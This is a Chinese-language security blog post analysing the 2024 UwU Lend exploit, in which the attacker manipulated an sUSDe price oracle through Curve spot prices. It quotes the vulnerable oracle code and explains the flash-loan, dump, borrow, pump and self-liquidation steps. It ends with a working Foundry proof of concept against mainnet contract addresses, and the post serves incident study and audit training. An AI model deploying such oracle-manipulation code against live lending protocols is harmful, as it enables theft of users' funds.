2024-06-10 UwU lending预言机攻击

  • 黑梨888
  • 更新于 2024-07-31 20:14
  • 阅读 1025

攻击相关基本信息2024年6月10号,UWULend合约被攻击薅走5272枚WETH,约2300w美金。我对这个攻击进行了梳理,并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。

攻击相关基本信息

2024年6月10号,UWU Lend合约被攻击薅走5272枚WETH,约2300w美金。我对这个攻击进行了梳理,并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。 漏洞合约代码地址: https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8 攻击交易:

AaveOracle的代码如下: image.png 它最终调用了sUSDePriceProviderBUniCatch的getPrice()方法:https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8

  function getPrice() external view override returns (uint256) {
    (uint256[] memory prices, bool uniFail) = _getPrices(true);

    uint256 median = uniFail ? (prices[5] + prices[6]) / 2 : prices[5];

    require(median > 0, 'Median is zero');

    return FullMath.mulDiv(median, sUSDeScalingFactor, 1e3);
  }
  function _getPrices(bool sorted) internal view returns (uint256[] memory, bool uniFail) {
    uint256[] memory prices = new uint256[](11);
    (prices[0], prices[1]) = _getUSDeFraxEMAInUSD();
    (prices[2], prices[3]) = _getUSDeUsdcEMAInUSD();
    (prices[4], prices[5]) = _getUSDeDaiEMAInUSD();
    (prices[6], prices[7]) = _getCrvUsdUSDeEMAInUSD();
    (prices[8], prices[9]) = _getUSDeGhoEMAInUSD();
    try UNI_V3_TWAP_USDT_ORACLE.getPrice() returns (uint256 price) {
      prices[10] = price;
    } catch {
      uniFail = true;
    }

    if (sorted) {
      _bubbleSort(prices);
    }

    return (prices, uniFail);
  }

  function _getUSDeFraxEMAInUSD() internal view returns (uint256, uint256) {
    uint256 price = uwuOracle.getAssetPrice(FRAX);
    // (USDe/FRAX * FRAX/USD) / 1e18
    return (
      FullMath.mulDiv(FRAX_POOL.price_oracle(0), price, 1e18),
      FullMath.mulDiv(FRAX_POOL.get_p(0), price, 1e18)
    );
  }

  function _getUSDeUsdcEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  function _getUSDeDaiEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  function _getCrvUsdUSDeEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  function _getUSDeGhoEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  • 第4行:如果返回偶数个结果,就取第6,7个price的平均值。否则取中位数第6个price。所以我们要确定这个price list如何得到的。
  • 第10行:定义如何得到price list。
  • 第12-16行:分别以五个币为基础计算出usde的价格:Frax,USDC,Dai,CrvUSD,Gho。每个币种返回两个usde价格,加起来一共10个价格。
  • 第30行:我们以_getUSDeFraxEMAInUSD为例子,看一下如何通过其他币种得到usde的值。这个方法中,他返回了两个值。是经过不同方法计算出的USDE价格,公式都是(USDe/FRAX * FRAX/USD) / 1e18
  • 第31行:通过uwu预言机获取FRAX/USD数值。
  • 第34行:通过curve的swap池子(usde/FRAX)得到价格FRAX_POOL.price_oracle(0),下图是这个方法的定义,可以看出它拿到的是一个指数平均价格:https://vscode.blockscan.com/ethereum/0x5dc1bf6f1e983c0b21efb003c105133736fa0743 image.png
  • 第35行:漏洞根源代码。它通过curve的swap池子(usde/FRAX)得到价格FRAX_POOL.get_p(0)。下图是get_p(0)方法的实现,可以看出在下面截图的1429行,它获取的价格是AMM状态变量的价格,也就是当前实时价格。以此类推,其他4个币种给出的价格中,一半是该币种的指数价格,一半是该币种的现货实时价格。黑客就有空间通过操纵curve池子的现货,间接操纵预言机,从而导致在UWU 借贷时USDE的价格可以偏高或者偏低。 image.png
  • 第23-27行:拿到10个price后排序拿到中间价格

总结一下:根源漏洞是aave预言机获取sUSDE的价格是去查5个币种在curve池子里面与usde的换算价格。每个币种返回2个值,分别是对标USDE的指数价格以及现货价格。现货价格可以被黑客操纵(通过闪电贷大量exchange操纵),所以5个币种返回的10个值,一半都是可以被操纵的,最终操纵了aave预言机返回的sUSDE的值。 问题代码出现在aave预言机,买单的是uwu lend,curve属于被间接利用的吃瓜群众。

攻击步骤

搞懂了如何操纵价格,黑客就利用这个价格查开始获利,大概的步骤如下:

  1. 闪电贷:嵌套9层flashloan几乎是把市场上所有的usde都借到了手里。
  2. 砸盘:在curve池子里,把手上的USDE全部exchange成其他underlying token(共5个underlying token)。导致池子里面USDE过多,那么USDE价格就暴跌。这个时候,如果调用aaveOracle查sUsde的价格,它其实调用了curve池子刚刚更新过的价格,那么aaveOracle拿到的sUSDE的价格就会很低。我通过看transaction返回值以及自己动手测试发现这里的砸盘与抬盘其实也就是让sUsde的价格上下浮动5%左右,并不是我们印象中的“归零”操作。
  3. 开借贷仓位:在UWU Lending池子里,质押underlying token到池子里,借出sUSDE。UWU依靠的是aaveOracle预言机,因为预言机给出的价格很低,所以在UWU池子里质押一定数量的Underlying token可以借出更多的sUSDE。
  4. 抬盘:从curve池子中把手上之前拿到的underlying token再换回USDE。(属于是步骤2的反方向操作)。这个步骤的结果是USDE回到正常水位。由于这一步的操作,第三步骤开的借贷仓位,因为sUSDE涨了,之前质押的抵押品不足以抵押这么高价值的sUSDE,所以我开仓位就达到了清算标准。细节是,我借贷的仓位健康因子health factor的值必须必须小于1才能进入清算状态。
  5. 清算仓位:批量清算自己借贷仓位并获得wETH作为清算奖励。黑客的主要获利方式就是赚取清算奖励。
  6. 还闪电贷。

    攻击transaction解析

    因为这个攻击调用的比较多 共7000多次调用,所以只截取关键步骤。 首先黑客套用了7层闪电贷,涉及到aave,morpho blue,balancer,Maker等闪电贷 image.png 砸盘操作:砸盘说白了就是把闪电贷里借到的usde在curve池子里换成五种token。这5个token都是精心挑选,被aave oracle用来计算sUSDE的5个币:Frax,USDC,Dai,CrvUSD,Gho image.png 砸盘之后,就需要通过uwu进行借贷。首先借贷需要用户deposit一定的underlying token image.png Aave默认质押的资产就是用于抵押品: image.png 所以攻击合约就可以开始borrow sUSDE了: image.png 借贷之后,开始抬盘,也就是之前exchange的反向操作。 image.png 由于抬盘之前的借贷达到了清算水位线,攻击合约开始清算自己的仓位并获取奖励: image.png 上述就是攻击发生的主要调用。

    PoC

    下面是一个简单的poc,我没有完全复制黑客的步骤,简化了整个过程:

  7. 在程序setup阶段直接给账户存了很多usde用于后续置换,所以这个poc没有闪电贷和还款的步骤,直接开始在curve池子中exchange usde到5个其他token
  8. 在PoC中,通过砸盘,susde的价格从103038358下降到98807674,下降约4.28%;通过抬盘,susde从98807674上升到103183611,上升约4.42% image.png
  9. 最开始借贷的时候,我的health factor为1.032, 抬盘后health factor降为0.969,这个数值小于1,所以进入了清算状态。 image.png
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";

contract TestOracle is Test {
        address private constant  Curve_Pool_crvUSD_USDC=0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E;
        address private constant  crvUSD_Token=0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;
        address private constant DAI_Token=0x6B175474E89094C44Da98b954EedeAC495271d0F;
        address private constant FRAX_Token=0x853d955aCEf822Db058eb8505911ED77F175b99e;
        address private constant GHO_Token=0x40D16FC0246aD3160Ccc09B8D0D3A2cD28aE6C2f;
        address private constant  usdc_Token=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
        address private constant  aave_oracle= 0xAC4A2aC76D639E10f2C05a41274c1aF85B772598;
        address private constant usde_Token= 0x4c9EDD5852cd905f086C759E8383e09bff1E68B3;
        address private constant sUsde_token=0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;
        address private constant USDecrvUSD=0xF55B0f6F2Da5ffDDb104b58a60F2862745960442;
        address private constant morphoBlue_flashLoan_contract = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;

        address private constant usdeDAI=0xF36a4BA50C603204c3FC6d2dA8b78A7b69CBC67d;
        address private constant FRAXUSDe=0x5dc1BF6f1e983C0b21EfB003c105133736fA0743;
        address private constant GHOUSDe=0x670a72e6D22b0956C0D2573288F82DCc5d6E3a61;
        address private constant USDeUSDC=0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72;

        address private constant sUSDePriceProviderBUniCatchAddress=0xd252953818bDf8507643c237877020398FA4B2E8;
        address private constant uwuLendingPoolAddress=0x05bfA9157E92690b179033cA2f6dd1e86B25Ea4D;
        address private constant uwuLendingPoolProxyAddress=0x2409aF0251DCB89EE3Dee572629291f9B087c668;

        address private constant wbtcAddress=0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
        address private constant wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function setUp() external {
        vm.createSelectFork("https://eth.llamarpc.com", 20061322 - 1);
        deal(address(usde_Token), address(this), 5e30);
        deal(address(sUsde_token), address(this), 1e30);
        deal(address(this), 100 ether);
        //deal(address(DAI_Token),address(this),  );
        deal(address(wbtcAddress),address(this), 2e21 );
        deal(address(wethAddress),address(this), 5e24 );
        deal(address(crvUSD_Token),address(this),867622751614490455044553100);
        deal(address(DAI_Token),address(this),1436865073725432400632984800);
        deal(address(FRAX_Token),address(this),4623395634444476091269533900);
        deal(address(GHO_Token),address(this),482460203217140550970463800);
        deal(address(usdc_Token),address(this),1485687872187700);
    }   
    function testOracle() external {
       printOraclePriceOfUsde();
       // 1. 砸盘
       decreaseUsdePrice();
       printOraclePriceOfUsde();

        //2. 开借贷仓位
        InitializableImmutableAdminUpgradeabilityProxy lendingPool = InitializableImmutableAdminUpgradeabilityProxy(payable(uwuLendingPoolProxyAddress));
        //给池子质押两种币:weth和susde。weth会作为抵押品,susde将我会把它借出来,这个池子之前的susde为0,所以我要手动充一点进去。
        uint256 balanceOfusdeIHave=IERC20(sUsde_token).balanceOf(address(this));
        uint256 wethAmountForDeposit=100000000;//318490000000000000000000
        uint256 susdeAmountForDepositAndBorrow=315800000000+5000000000;//1005999999999999999999999999
        IWETH(payable(wethAddress)).approve(uwuLendingPoolProxyAddress,wethAmountForDeposit);
        IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,susdeAmountForDepositAndBorrow);
        lendingPool.deposit(wethAddress,wethAmountForDeposit,address(this),0);
        lendingPool.deposit(sUsde_token,susdeAmountForDepositAndBorrow,address(this),0);
        //把susde设置为:不可作为抵押品。因为等下我就是要借这个susde出来,如果susde即作为抵押品,又作为借出品,算起来会很混乱。
        lendingPool.setUserUseReserveAsCollateral(sUsde_token,false);
        uint256 balance=IERC20(sUsde_token).balanceOf(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);
        lendingPool.borrow(sUsde_token,susdeAmountForDepositAndBorrow,2,0,address(this));
       //这里打印下未抬盘前的债务健康情况
        (uint256 totalCollateralETH1,uint256 totalDebtETH1,uint256 availableBorrowsETH1,uint256 currentLiquidationThreshold1,uint256 ltv1,uint256 healthFactor1)=lendingPool.getUserAccountData(address(this));
        console.log("totalCollateralETH1",totalCollateralETH1);
        console.log("totalDebtETH1",totalDebtETH1);
        console.log("availableBorrowsETH1",availableBorrowsETH1);
        console.log("currentLiquidationThreshold1",currentLiquidationThreshold1);
        console.log("ltv",ltv1);
        console.log("healthFactor",healthFactor1);
        // 3. 抬盘
        increaseUsdePrice();
        printOraclePriceOfUsde();

        // 4. 清算自己的仓位获得奖励
        //这里打印下抬盘后的债务健康情况
        (uint256 totalCollateralETH,uint256 totalDebtETH,uint256 availableBorrowsETH,uint256 currentLiquidationThreshold,uint256 ltv,uint256 healthFactor)=lendingPool.getUserAccountData(address(this));
        console.log("*************************");
        console.log("totalCollateralETH1",totalCollateralETH);
        console.log("totalDebtETH1",totalDebtETH);
        console.log("availableBorrowsETH1",availableBorrowsETH);
        console.log("currentLiquidationThreshold1",currentLiquidationThreshold);
        console.log("ltv",ltv);
        console.log("healthFactor",healthFactor);
        IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,type(uint256).max);
        lendingPool.liquidationCall(wethAddress,sUsde_token,address(this),102905129855320898832593836,true);
    } 

    //砸盘方法
    function decreaseUsdePrice() internal {
        // 把一部分usde换成crvUSD
        IERC20(usde_Token).approve(USDecrvUSD,8730217337982457609941891);
        //我是真的不知道为什么exchange这个数8730217337982457609941891就能把价格砸的最低。
        //试了好多数,比如池子里usde的数量,池子里crvUSD的数量,但是还是黑客的数最有效。
        //黑客应该是个数学家。
        CurveStableSwapNG(USDecrvUSD).exchange(0,1,8730217337982457609941891,0,address(this));

      // 把一部分usde换成DAI
        IERC20(usde_Token).approve(usdeDAI,14457209551812563734628576);
        CurveStableSwapNG(usdeDAI).exchange(0,1,14457209551812563734628576,0,address(this));

        // 把一部分usde换成FRAX
        IERC20(usde_Token).approve(FRAXUSDe,46577065184558291279687420);
        CurveStableSwapNG(FRAXUSDe).exchange(1,0,46577065184558291279687420,0,address(this));

       // 把一部分usde换成GHO
        IERC20(usde_Token).approve(GHOUSDe,4924787269911726035563289);
        CurveStableSwapNG(GHOUSDe).exchange(1,0,4924787269911726035563289,0,address(this));

           // 把一部分usde换成usdc
        IERC20(usde_Token).approve(USDeUSDC,15032389024791928694903584);
        CurveStableSwapNG(USDeUSDC).exchange(0,1,15032389024791928694903584,0,address(this));

    }

    //抬盘方法
    function  increaseUsdePrice() internal {
        // 把crvUSD 换成usde
        uint256 crvUseBalance=IERC20(crvUSD_Token).balanceOf(address(this));
        //console.log(crvUseBalance);
        IERC20(crvUSD_Token).approve(USDecrvUSD,crvUseBalance);
        CurveStableSwapNG(USDecrvUSD).exchange(1,0,crvUseBalance,0,address(this));

       // 把DAI换成usde
        uint256 daiBalance=IERC20(DAI_Token).balanceOf(address(this));
        //console.log(daiBalance);
        IERC20(DAI_Token).approve(usdeDAI,daiBalance);
        CurveStableSwapNG(usdeDAI).exchange(1,0,daiBalance,0,address(this));

        // 把FRAX换成usde
        uint256 FraxBalance=IERC20(FRAX_Token).balanceOf(address(this));
        //console.log(FraxBalance);
        IERC20(FRAX_Token).approve(FRAXUSDe,FraxBalance);
        CurveStableSwapNG(FRAXUSDe).exchange(0,1,FraxBalance,0,address(this));

        // 把GHO换成usde
        uint256 GhoBalance=IERC20(GHO_Token).balanceOf(address(this));
        //console.log(GhoBalance);
        IERC20(GHO_Token).approve(GHOUSDe,GhoBalance);
        CurveStableSwapNG(GHOUSDe).exchange(0,1,GhoBalance,0,address(this));

        // 把usdc换成usde
        uint256 UsdcBalance=IERC20(usdc_Token).balanceOf(address(this));
        //console.log(UsdcBalance);
        IERC20(usdc_Token).approve(USDeUSDC,UsdcBalance);
        CurveStableSwapNG(USDeUSDC).exchange(1,0,UsdcBalance,0,address(this));

    }

    function printOraclePriceOfUsde() internal {
        //uint256 price1=IPriceOracleGetter(aave_oracle).getAssetPrice(sUsde_token);
        uint256 price=sUSDePriceProviderBUniCatch(sUSDePriceProviderBUniCatchAddress).getPrice();
        console.log("************sUsde price is  ",price);
    }

}

漏洞反思与防护

  1. 以后如果让我审计一个合约,不仅仅合约本身还要看,还要看它的供应链是否有问题。这个攻击的漏洞在aave oracle,并不是uwu lend的代码。所以如果uwu lend的审计人员只注意uwu本身的代码,就无法发现问题。
  2. 预言机合约涉及到喂价系统,一定要小心!!!千万不能拿现货实时价格作为输出。很容易被黑客操控。

    reference

    写的比较好的英文文章:https://neptunemutual.com/blog/understanding-the-uwu-lend-exploit/ 写的最快的慢雾文章:https://mp.weixin.qq.com/s/mcCNO6IwaI-L1Aj1VRBi2w AAVE开发文档:https://docs.aave.com/developers/guides/liquidations

点赞 5
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~